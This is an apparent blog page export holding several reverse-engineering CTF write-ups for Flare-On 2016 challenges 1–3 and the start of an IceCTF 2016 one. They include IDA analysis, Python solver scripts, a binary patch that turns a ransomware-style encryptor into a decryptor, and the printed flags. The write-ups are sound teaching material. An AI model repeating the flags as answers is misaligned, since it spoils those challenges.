</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-34322384977711147922016-11-04T19:33:00.000-07:002016-11-04T19:33:22.819-07:00CTF Writeup - Flare-On 2016 - 03: unknown<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> unknown</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 3</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/unknown"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The binary for challenge 3 lacks an extension; exiftool reveals it's a standard win32 binary:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># exiftool unknown
ExifTool Version Number : 9.74
File Name : unknown
Directory : .
File Size : 89 kB
File Modification Date/Time : 2016:09:24 12:34:41-04:00
File Access Date/Time : 2016:10:16 07:49:40-04:00
File Inode Change Date/Time : 2016:10:16 07:49:40-04:00
File Permissions : rwxrw-rw-
File Type : Win32 EXE
MIME Type : application/octet-stream
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2016:07:31 20:00:00-04:00
PE Type : PE32
Linker Version : 12.0
Code Size : 62464
Initialized Data Size : 35840
Uninitialized Data Size : 0
Entry Point : 0x3771
OS Version : 5.1
Image Version : 0.0
Subsystem Version : 5.1
Subsystem : Windows command line
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
Add the .exe extension and run with the argument "some_random_input":
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>unknown.exe some_random_input
No rite arguhments!
C:\>
</div>
</br>
</br>
</br>
Load it in IDA and search for the string "No rite arguhments!". This leads us to function <b>sub_4027A0</b>, at the bottom of which we have the following:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Yd1M-tuT2nFGmZXFJ3GJ1gF908vLPC6R-plTkgWHWpayL_qJ4wObYnV78K4GSrLqmOolE5JUtoztpIwloczxQK-vSrNAraXjRiX7zBI9TvHuLMQd1M6UDKrx55So5X3b2Ie2Yv20WWUj/s1600/bothpaths.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Yd1M-tuT2nFGmZXFJ3GJ1gF908vLPC6R-plTkgWHWpayL_qJ4wObYnV78K4GSrLqmOolE5JUtoztpIwloczxQK-vSrNAraXjRiX7zBI9TvHuLMQd1M6UDKrx55So5X3b2Ie2Yv20WWUj/s650/bothpaths.bmp"/></a></div>
</br>
Now that we know where we need to end up, let's start tackling this function top-down:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVlklyyxIvaLRz7FxM6Yfqm70DlGIGoiGABBSVGKNFBlURh7GYSSHRTmtdvN56UzuOEuVDtszexaX9SOEIa7Mrqh0sjI7UNGwiSwNiGxgqWi5erGnNuIMh-avn3erValX7Qi8bppmiuQC/s1600/first_checks.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVlklyyxIvaLRz7FxM6Yfqm70DlGIGoiGABBSVGKNFBlURh7GYSSHRTmtdvN56UzuOEuVDtszexaX9SOEIa7Mrqh0sjI7UNGwiSwNiGxgqWi5erGnNuIMh-avn3erValX7Qi8bppmiuQC/s600/first_checks.bmp"/></a></div>
</br>
The first basic block ensures that we have supplied 1 argument to the binary. The second basic block calls function <b>__LDint</b> with values 0x72 ('r') and the path to the executable, and returns a substring of the input path starting from the last 'r' encountered. For example if the path is <b>C:\somefolder\unknown.exe</b>, the returned string is <b>r\unknown.exe</b>. If the character 'r' is not present, the execution flow jumps to the "No rite arguhments!" basic block. This suggests that the path and/or name of the binary have to be some specific values, and hence why the binary was called <b>unknown</b> and lacked an extension.
</br></br>
Running strings on the binary we get an interesting entry:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># strings unknown | grep -i pdb
C:\extraspecial.pdb
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br>
Change the name of the binary to <b>extraspecial.exe</b>; the location doesn't matter since the name contains an 'r', and the result of <b>__LDint</b> will always return <b>raspecial.exe</b>.
</br></br>
The binary then removes the first character of this string (which is always 'r') and passes it to <b>sub_402760</b> which does some computation on it and returns an integer. As this function is used quite a few times throughout the binary, from now on I will be calling it <b>singlify</b> and can be implemented in the following way:
</br></br>
<pre class="brush:python;">
def singlify (input_string):
temp_ans = 0
for char in input_string:
temp_ans = temp_ans * 37 + ord(char)
temp_ans = temp_ans & 0xffffffff
return temp_ans
</pre>
</br>
In essence, the binary then does the following:
<ol>
<li style="color: #999999;">Singlifies the subpath (described above)</li>
<li style="color: #999999;">Singlifies the argument we passed</li>
<li style="color: #999999;">Computes length of argument we passed, and increments it</li>
<li style="color: #999999;">Allocates memory of size 0x40000 and copies itself in this region</li>
<li style="color: #999999;">Searches for string "RSDS" in this region (finds it twice)</li>
<li style="color: #999999;">Copies the string located next to "RSDS"; let's call this the <b>key</b></li>
<li style="color: #999999;">Frees previously-allocated memory region</li>
</ol>
</br>
The retrieved key will always be the same as it is not dependent on our input. This key is then hashed X amount of times using MD5 and the resultant key used to RC4 encrypt/decrypt a fixed buffer in memory; where X is computed in the following manner:
<ul>
<li><b style="color:#cccccc;">Byte 1 :</b> <span style="color: #999999;"> Always 0x00</span>
<li><b style="color:#cccccc;">Byte 2 :</b> <span style="color: #999999;"> Length (argv[1]) + 1 </span>
<li><b style="color:#cccccc;">Bytes 3-4 :</b><span style="color: #999999;"> (Singlify ( __LDint(binary path) ) & 0xFFFF) - 1</span>
</ul>
</br>
This might look complicated at first but essentially the number of iterations depend on only 2 things, the path of the binary and the length of argv[1]; and we already know what the former should be. Let's skip this section for the time being and check the next basic block that comes after the RC4:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZCI6CnEzoNCgRbxMy7tpMwoj0aNNeKQpYxiYOjMtq-PqwMYk911-iyCXSOmgRHLEWoO1Yb9YG_5gIlbZZuOpW8Ys5COPkeOSNzOC_0XIcksUH0WWWdSJWdUIW-Us_nN-htLikuVirYMfW/s1600/1B.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZCI6CnEzoNCgRbxMy7tpMwoj0aNNeKQpYxiYOjMtq-PqwMYk911-iyCXSOmgRHLEWoO1Yb9YG_5gIlbZZuOpW8Ys5COPkeOSNzOC_0XIcksUH0WWWdSJWdUIW-Us_nN-htLikuVirYMfW/s540/1B.bmp"/></a></div>
</br>
If (length of argv[1] + 1) is equal to 0x1B, this basic block is skipped, else it will be execute and 0x1B will overwrite our original entry. This value is later used as a counter to loop over each character of argv[1]. And there we have it, (len(argv[1]) + 1) should be equal to 27, and hence len(argv[1]) should be equal to 26. So now we have all the ingredients to encrypt/decrypt the buffer to its intended state; as long as the binary is called <b>extraspecial.exe</b> and len(argv[1]) == 26, the buffer is going to remain the same. Let's move onto the last validation routine.
</br></br>
As we're right at the bottom let's take a bottom-up approach for a moment:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP6ayvHRPR4ciakjO14Fsssk65hUVbmMTUdrIEiXjCkPoLgZSjCuBqaYBTvpHMiJKYHKd9xUiePb-3ZL7_ZDsAHn6WrzB5_UgqANoB2QhKRRWVHxrwhd0HmDBvDFfwuJ2fr6Y9Q3hLx4kY/s1600/bottom-up.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP6ayvHRPR4ciakjO14Fsssk65hUVbmMTUdrIEiXjCkPoLgZSjCuBqaYBTvpHMiJKYHKd9xUiePb-3ZL7_ZDsAHn6WrzB5_UgqANoB2QhKRRWVHxrwhd0HmDBvDFfwuJ2fr6Y9Q3hLx4kY/s700/bottom-up.bmp"/></a></div>
</br>
The yellow section is the part that is executed 0x1B times and is where the execution flow comes in from. We'll take a better look at it later. When the loop has ended, the control flow shifts to the purple box (loc_402C6C) at the top left.
</br></br>
To arrive at the green section and display the desired message we need to make sure that <b>[ebp+singlify_path]</b> is not zero (loc_402C97), hence <b>xor eax, 0x0B019815A</b> should not produce zero (purple block). Since eax at this point contains <b>[ebp+singlify_path]</b>, we have to make sure that the blue box is avoided 0x1B times, else <b>[ebp+singlify_path]</b> will take the value of 0x0B019815A and we end up with the wrong message.
</br></br>
So now everything boils down to the following basic block which is repeated 0x1B times, once for each char of our input:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlFPaCzBXCP2GEXTxBvjL6rItR4DbfGZqllAENasQPo50UMqgy_LgfIwI0vZpxuLgukonKrEL13sIr2VpGQxOD82FBS142lHh4zywDadqHeEig_ojT9jHQE4CzjKkkx7hxCVIbNkK13WZB/s1600/Final.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlFPaCzBXCP2GEXTxBvjL6rItR4DbfGZqllAENasQPo50UMqgy_LgfIwI0vZpxuLgukonKrEL13sIr2VpGQxOD82FBS142lHh4zywDadqHeEig_ojT9jHQE4CzjKkkx7hxCVIbNkK13WZB/s500/Final.bmp"/></a></div>
</br>
As a reminder, we need to avoid the bottom blue basic block. The algorithm in the yellow block does the following for each of the chars in argv[1]:
<ol>
<li style="color: #999999;">Concatenates it with "[`abcdefghijklmnopqrstuvwxyz]Flare On!"</li>
<ul>
<li style="color: #999999;"> Chooses the next char from []; 1st round = <b>`</b>, 2nd round = <b>a</b>, 3rd = <b>b</b>, etc..</li>
</ul>
<li style="color: #999999;">Singlifies result</li>
<li style="color: #999999;">Compares result with part of encrypted/decrypted buffer that was computed earlier</li>
</ol>
</br>
As the search space is tiny, we can brute-force each character individually:
</br></br>
<pre class="brush:python;">
import string
import struct
import sys
result = ["2F3E61EE","45EB79DE","3D2F1BAF","D7BB4787",
"9CC49A73","AEF5A4C9","C1C53246","249B02A0",
"595016D6","5194B7A6","BA239DE7","CE92AE8A",
"181A9985","9958E0FE","94790C43","6FF3B91A",
"8124C470","CF27BD05","6F6EFFC4","7C84775A",
"B37792DD","FF3C8425","44A9DC5F","9628E48E",
"C761E92A","DA3177A7"]
nonce = "`abcdefghijklmnopqrstuvwxyz"
def singlify(input_string):
temp_ans = 0
for char in input_string:
temp_ans = temp_ans * 37 + ord(char)
temp_ans = temp_ans & 0xffffffff
return temp_ans
for id in range(len(result)):
for x in string.printable:
test_string = x + nonce[id] + "FLARE On!"
singlified_string = singlify(test_string)
endian_string = format(struct.unpack("<I", struct.pack(">I", singlified_string))[0], 'x')
if endian_string.upper() == result[id]:
sys.stdout.write(x)
break
</pre>
</br>
Testing the result:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>extraspecial.exe Ohs0pec1alpwd@flare-on.com
yOU MAKE GOOD Arguhments!
C:\>
</div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com3tag:blogger.com,1999:blog-892957492981532265.post-90009871851374170012016-11-04T19:30:00.001-07:002016-11-04T19:30:08.056-07:00CTF Writeup - Flare-On 2016 - 02: DudeLocker<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> DudeLocker</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 2</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/DudeLocker.zip"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The zipped folder contains 2 files, a binary and a .doc file which contains gibberish. To make things more interesting(?), the executable does not output anything and exits straight away.
</br></br>
Loading in IDA and running the first few instructions from the main function (<b>sub_4019A0</b>) we immediately notice the basic block which is causing the program to end prematurely:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7miEW0LPgGGmheMF8yPigard8HuYubIOJao4K0ClIenumWlWr0_S80VOlAr5yQvDzYLgtjLA_m8eGsUKXg_BlkRes8AUSsZQYhmBX5Qf7EAckaxLwu0RNbKV_hmAU9qZ22lfC2SekEFlk/s1600/create_files.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7miEW0LPgGGmheMF8yPigard8HuYubIOJao4K0ClIenumWlWr0_S80VOlAr5yQvDzYLgtjLA_m8eGsUKXg_BlkRes8AUSsZQYhmBX5Qf7EAckaxLwu0RNbKV_hmAU9qZ22lfC2SekEFlk/s400/create_files.bmp" width="400" height="374" /></a></div>
</br></br>
The function is searching for a folder called <b>Briefcase</b> on the desktop. If not found, the program follows the exit route. Creating the folder and re-running the program we still don't get anything. This time the program fails on the comparison of the VolumeSerialNumber obtained from the GetVolumeInformation function in <b>sub_401040</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVVFaTsNT_BcsyHWMbMfZErxEFSM0DDaQfyQBcO2RTlRQIbE70GajwkahBNRv0IcvNG40FWK63N7_2_5xfEG4ZoRYmx-FlPIrNXYTbt6jMSpDE4N3PeQx2OjgVvgYXG-GxCI4ik9YPjhN7/s1600/VolumeSerialNumber.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVVFaTsNT_BcsyHWMbMfZErxEFSM0DDaQfyQBcO2RTlRQIbE70GajwkahBNRv0IcvNG40FWK63N7_2_5xfEG4ZoRYmx-FlPIrNXYTbt6jMSpDE4N3PeQx2OjgVvgYXG-GxCI4ik9YPjhN7/s500/VolumeSerialNumber.bmp" /></a></div>
</br>
The value for the VolumeSerialNumber is expected to be 0x7DAB1D35. We patch the function to look like this:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCXA_1Vc1R_8PHIScAC0adxysL7YL-BXGYwfRD08w2x2t9s7ghYPMgJZD9jcqJ5e4OVAb1qw135EtH4rHoSFcjayyQqNeb7UjprA2BE87Ji3-GCx-LBkzTaLT3LjScjAUE3cMyhiiNLLj1/s1600/VolumeSerialNumber_modified.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCXA_1Vc1R_8PHIScAC0adxysL7YL-BXGYwfRD08w2x2t9s7ghYPMgJZD9jcqJ5e4OVAb1qw135EtH4rHoSFcjayyQqNeb7UjprA2BE87Ji3-GCx-LBkzTaLT3LjScjAUE3cMyhiiNLLj1/s500/VolumeSerialNumber_modified.bmp" /></a></div>
</br>
Now we will always get the desired value. Re-running the program we now get some interesting results: the contents of all the files in the Briefcase folder are encrypted, an image is dropped in this same folder and we get a surprise:
</br></br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy1IRIrT8KCaEcUUzl1GwkvJBCB4hDJ7XJ0y3bVp_jfVJfGp1EooYUQIfvpKzRXXl1EjosNaJr-F45LhfLnTBLL9Nk1oGI4KDEx63XtD_K1VYFxf1IaVajF2slHApz18IPy4C8ciozxVSy/s1600/background.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy1IRIrT8KCaEcUUzl1GwkvJBCB4hDJ7XJ0y3bVp_jfVJfGp1EooYUQIfvpKzRXXl1EjosNaJr-F45LhfLnTBLL9Nk1oGI4KDEx63XtD_K1VYFxf1IaVajF2slHApz18IPy4C8ciozxVSy/s600/background.bmp"/></a></div>
</br></br>
The background image changes to this annoying picture. If you haven't realised by now, the aim of the challenge is to decrypt the doc file. There are 2 routes we could take, either we can recreate the encryption algorithm and use it to decrypt, or use the program itself to decrypt our file for us since the algorithm is symmetric. Of course we will opt for the latter. This technique is facilitated by the fact that both the <b>CryptEncrypt</b> and <b>CryptDecrypt</b> are very similar:
<br />
<br />
<pre style="background: #999999; color: black;"><span style="color: blue;"> BOOL</span> WINAPI CryptEncrypt(
_In_ HCRYPTKEY hKey,
_In_ HCRYPTHASH hHash,
_In_ BOOL Final,
_In_ DWORD dwFlags,
_Inout_ BYTE *pbData,
_Inout_ DWORD *pdwDataLen,
_In_ DWORD dwBufLen
);
</pre>
<br />
<br />
<pre style="background: #999999; color: black;"><span style="color: blue;"> BOOL</span> WINAPI CryptDecrypt(
_In_ HCRYPTKEY hKey,
_In_ HCRYPTHASH hHash,
_In_ BOOL Final,
_In_ DWORD dwFlags,
_Inout_ BYTE *pbData,
_Inout_ DWORD *pdwDataLen
);
</pre>
<br />
The only difference between them is that CryptEncrypt takes an extra parameter at the end. Since this will be pushed first onto the stack before the function is called, we can leave everything as is and just change the call to CryptDecrypt instead. The function now looks like this:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4IPUSrhpT5kob91CGKPIpSn0YequXM210jjojLEWht54GbXM3Dk_idXzNOdC4ZceEfaEsQ6hD2FA4ySDzgVgEjRswlUTE3Rl6MlS82EMJztS9KUkQgRIPpuzlpO0-5y6wYRFmnLD0lrM_/s1600/CryptDecrypt.exe.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4IPUSrhpT5kob91CGKPIpSn0YequXM210jjojLEWht54GbXM3Dk_idXzNOdC4ZceEfaEsQ6hD2FA4ySDzgVgEjRswlUTE3Rl6MlS82EMJztS9KUkQgRIPpuzlpO0-5y6wYRFmnLD0lrM_/s500/CryptDecrypt.exe.bmp" /></a></div>
</br>
We put the doc file in the Briefcase folder and run the program again. Apart from the ransomware background, we get the result:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5X2e9kezYvmo-ggRY-o7prost9jfjYF4y53wJgPkqoK_TGB94OdBFaP2P68zo_hwO1GTqatmMIrFnmclQ-VJNaAO2Q0FO32AYQIbRVRB_fVLaQNB04MiauQcjVK0jMXRU3Gdo_hdihxKq/s1600/BusinessPapers.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5X2e9kezYvmo-ggRY-o7prost9jfjYF4y53wJgPkqoK_TGB94OdBFaP2P68zo_hwO1GTqatmMIrFnmclQ-VJNaAO2Q0FO32AYQIbRVRB_fVLaQNB04MiauQcjVK0jMXRU3Gdo_hdihxKq/s500/BusinessPapers.jpg" /></a></div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-26648934703492325572016-11-04T19:27:00.002-07:002016-11-04T19:27:51.976-07:00CTF Writeup - Flare-On 2016 - 01: challenge1<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> challenge1</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/challenge1.exe"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
Running the PE binary and giving it "1234567890" as input:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>challenge1.exe
Enter password:
1234567890
Wrong password
C:\>
</div>
</br>
</br>
</br>
Loading it in IDA, we realise that there's a lot going on before we get to the part where the "Enter password:" string is displayed. All this can be disregarded as it's not affected by our input; everything happens in sub_11C1420():
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDJFIQswfkvj-FmVo_qZin1fEmOwAcvj_wlP6bgLUKaJsTb8ld4OCkJ6w-kMVYjdkhsPDqYxbD-WQDRNvtaHAK1YhLE8bAH5IQIDtBKhVPAfsPl6dvWyiAFzbIr38jU1SBSCK98am3mXf2/s1600/main_func.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDJFIQswfkvj-FmVo_qZin1fEmOwAcvj_wlP6bgLUKaJsTb8ld4OCkJ6w-kMVYjdkhsPDqYxbD-WQDRNvtaHAK1YhLE8bAH5IQIDtBKhVPAfsPl6dvWyiAFzbIr38jU1SBSCK98am3mXf2/s640/main_func.bmp" width="640" height="658" /></a></div>
</br>
Only 2 functions (<b>sub_11C1260()</b> and <b>sub_11C2C30</b>) are called before the final branch is taken. Let's start with the one that's encountered first. This function takes 2 parameters, the number of bytes in our input, and the input itself. For each iteration of the inner main loop, the function takes 3 characters from our input, loads them into EAX (annotated in the image), does some operations on EAX and translates the characters from buffer byte_EF3000:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlqK1TxTvPC6yJ5EjiNgBLqUxsO2UmU5lk8DDfoU4SaafX6_1mhK28kbaXNVFDjNrNF7__-Il6xo8vZIGa33w4BZxxK-0emCpCEFBVuIdUh9_D6W0YA0Ow_wj6RKTuN4TfjRzCzHTeUaaR/s1600/b64_translation.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlqK1TxTvPC6yJ5EjiNgBLqUxsO2UmU5lk8DDfoU4SaafX6_1mhK28kbaXNVFDjNrNF7__-Il6xo8vZIGa33w4BZxxK-0emCpCEFBVuIdUh9_D6W0YA0Ow_wj6RKTuN4TfjRzCzHTeUaaR/s640/b64_translation.bmp" width="376" height="640" /></a></div>
</br>
As seen in the image, the 3 bytes in EAX (3 chars from input) are shifted to the right by 18, 12, 6 and 0 bits before being translated. This means that each 3 characters from out input are mapped into 4 characters. At this point all alarms should start going off: the algorithm is Base64. If we let the algorithm finish, we get: <b>JQFwKAR2Kwd5JZ==</b>. Although we get what looks like Base64, it does not match the actual Base64 of our input '1234567890', which should be: <b>MTIzNDU2Nzg5MA==</b>. If we look at the translation buffer byte_EF3000, we notice something odd:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuIXMcRiTKPC4jBr8iCdJMZr1vi9u8QOq41Qa31aC1pWyuTxWWYPscc_3WYyU4nmN__VYhjZxud8CczaefWLmG0spvytmH_x2qsHR7TjkdEOgmcUUsgPO_Tuzz77CMGQ6WgV5jj1RpCJua/s1600/B64_buffer.exe.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuIXMcRiTKPC4jBr8iCdJMZr1vi9u8QOq41Qa31aC1pWyuTxWWYPscc_3WYyU4nmN__VYhjZxud8CczaefWLmG0spvytmH_x2qsHR7TjkdEOgmcUUsgPO_Tuzz77CMGQ6WgV5jj1RpCJua/s640/B64_buffer.exe.bmp" width="640" height="65" /></a></div>
</br>
The index table has been mangled. So now we know what that the algorithm is a Base64 with a custom index table.
</br></br>
Moving on to the next function, <b>sub_11C2C30</b>, we get a char by char comparison of our (custom-)base64 output from the previous function and the string <b>x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q</b>. As anticipated, if all the comparisons match, the program branches to the success message.
</br></br>
We create a small python program which reverts the resultant string back to the expected input using the custom base64 algorithm:
</br></br>
<pre class="brush:python;">
import string
import base64
my_base64chars = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result_string = "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q"
result_string = result_string.translate(string.maketrans(my_base64chars, std_base64chars))
answer = base64.b64decode(result_string)
print answer
</pre>
</br>
Using the result as the password:
</br></br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>challenge1.exe
Enter password:
sh00ting_phish_in_a_barrel@flare-on.com
Correct!
C:\>
</div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-34342329784888216212016-08-29T07:54:00.000-07:002016-08-29T07:54:30.123-07:00CTF Writeup - IceCTF 2016 - A Strong Feeling (RE 80)<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> A Strong Feeling</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 80</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;">Do you think you could defeat this password checker for us? It's making me real pissed off!</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/IceCTF2016/a_strong_feeling"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
Running the 64-bit ELF and giving it "some_random_input" as the input string:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># ./a_strong_feeling
some_random_input
Haxx0r ipsum gurfle deadlock exception ctl-c continue Dennis Ritchie.
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br>
Running the binary does not reveal anything about the expected input. Loading it in IDA, we're faced with a very complicated graph depicting the main function:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf-YfTHZMxP9SvhrvjNzUUsjlRDw0GzWe3P_-tJWPwGVyDB669gl4wQq_YS-OYdtu78G4YBaUYWd9PHzIOqvAOf6bqpO_whQ42geTYsDCR7d2VtvNNeMS-NvwQehBHs1_v-BB6t2GBa6Jr/s1600/graph.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf-YfTHZMxP9SvhrvjNzUUsjlRDw0GzWe3P_-tJWPwGVyDB669gl4wQq_YS-OYdtu78G4YBaUYWd9PHzIOqvAOf6bqpO_whQ42geTYsDCR7d2VtvNNeMS-NvwQehBHs1_v-BB6t2GBa6Jr/s640/graph.bmp" width="311" height="320" /></a></div>
</br>
We notice that the last row of instruction blocks is predominantly made up of 2 different type of blocks. An example of each follows:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_62FfIfkPDu6P0tqRj1ZFEX62tU7kyf-3rwFLmLaa-BT6pGYnk4sulyFxpmcMH1BxJUVqGgPttFnHvtN64rB3OFCQJrggNb1th0AL_TlMksZkiichDvMTXWVex06NyYa8p22KP1m6ZBO0/s1600/different_blocks.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_62FfIfkPDu6P0tqRj1ZFEX62tU7kyf-3rwFLmLaa-BT6pGYnk4sulyFxpmcMH1BxJUVqGgPttFnHvtN64rB3OFCQJrggNb1th0AL_TlMksZkiichDvMTXWVex06NyYa8p22KP1m6ZBO0/s640/different_blocks.bmp" width="426" height="268" /></a></div>
</br>
The red block outputs the Haxx0r message we got earlier whereas the green block contains a compare instruction for each of the characters in our input. Simply put, avoid the boxes with a <b>call _printf</b> instruction. This is done by providing the right character at each compare statement. If the comparison fails, we end up in a bad instruction block at the next round.
</br></br>
